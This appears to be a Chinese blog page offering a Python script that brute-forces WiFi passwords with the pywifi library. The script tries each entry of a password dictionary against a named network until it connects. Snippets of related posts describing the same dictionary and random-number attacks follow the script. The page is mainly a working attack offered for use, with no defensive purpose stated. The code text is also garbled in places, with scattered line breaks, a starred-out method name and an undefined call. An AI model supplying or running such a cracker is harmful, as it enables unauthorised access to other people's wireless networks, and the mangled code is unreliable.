Python暴力破解wifi

2021-10-05 00:23:20 字數 1938 閱讀 2617

import pywifi

from pywifi import const

import time

wifi = pywifi.pywifi(

)#抓取網絡卡介面

iface = wifi.inte***ces()[

0]#抓取第乙個無線網絡卡

iface.disconnect(

)#測試鏈結斷開所有鏈結

#讀取密碼字典,進行匹配

defreadpassword

(path,name)

: getfilepath =path

get_wifissid = name

pwdfilehander=

open

(getfilepath,

"r",errors=

"ignore"

)while

true

:try

: pwdstr =pwdfilehander.readline()if

not pwdstr:

break

bool1=connect(pwdstr,get_wifissid)

if bool1:

res =

"===正確=== wifi名:%s 匹配密碼:%s "

%(get_wifissid,pwdstr)

print

(res)

break

else

: res =

"---錯誤--- wifi名:%s匹配密碼:%s"

%(get_wifissid,pwdstr)

print

(res)

sleep(3)

except

:continue

#對wifi和密碼進行匹配

defconnect

(pwd_str,wifi_ssid)

:#建立wifi鏈結檔案

profile = pywifi.profile(

) profile.ssid =wifi_ssid #wifi名稱

profile.auth = const.auth_alg_open #網絡卡的開放

#wifi加密演算法

profile.cipher = const.cipher_type_ccmp #加密單元

profile.key = pwd_str #密碼

iface.remove_all_network_profiles(

)#刪除所有的wifi檔案

tmp_profile = iface.add_network_profile(profile)

#設定新的鏈結檔案

iface.connect(tmp_profile)

#鏈結 time.sleep(5)

if iface.status(

)== const.iface_connected:

#判斷是否連線上

isok=

true

else

: isok=

false

iface.disconnect(

)#斷開

time.sleep(1)

#檢查斷開狀態

assert iface.status(

)in\

[const.iface_disconnected, const.iface_inactive]

return isok

if __name__ ==

'__main__'

: readpassword(path=

"c:/users/administrator/desktop/py/密碼.txt"

,name=

"h3c_b55f14"

)

Python 暴力破解wifi

思路 首先檢查是否擁有無限網絡卡 無線網絡卡是否連線到wifi 如果連線到wifi那麼需要斷開連線,因為一張網絡卡同一時間只能連線乙個wifi 搜尋附近的wifi確定連線的目標 使用字典開始嘗試自動連線 實列 首先安裝pywifi模組,這個模組專門用來處理wifi的資訊 pip install py...

暴力破解WIFI

import pywifi from pywifi import const import time 時間模組 1 匯入模組 2 抓取第乙個網絡卡介面 3 斷開wifi連線 4 從密碼本上讀取密碼 5 設定睡眠時間 3秒左右 名稱 wifi密碼 defwificonnect wifiname,wif...

pywifi暴力破解WIFI

注 在相同目錄下新建乙個janywifi.json檔案 隨機生成8 11位數字,生成過的數字存在janywifi.json檔案裡,不重複,斷點繼續 import time 時間 import pywifi 破解wifi from pywifi import const 引用一些定義 from asy...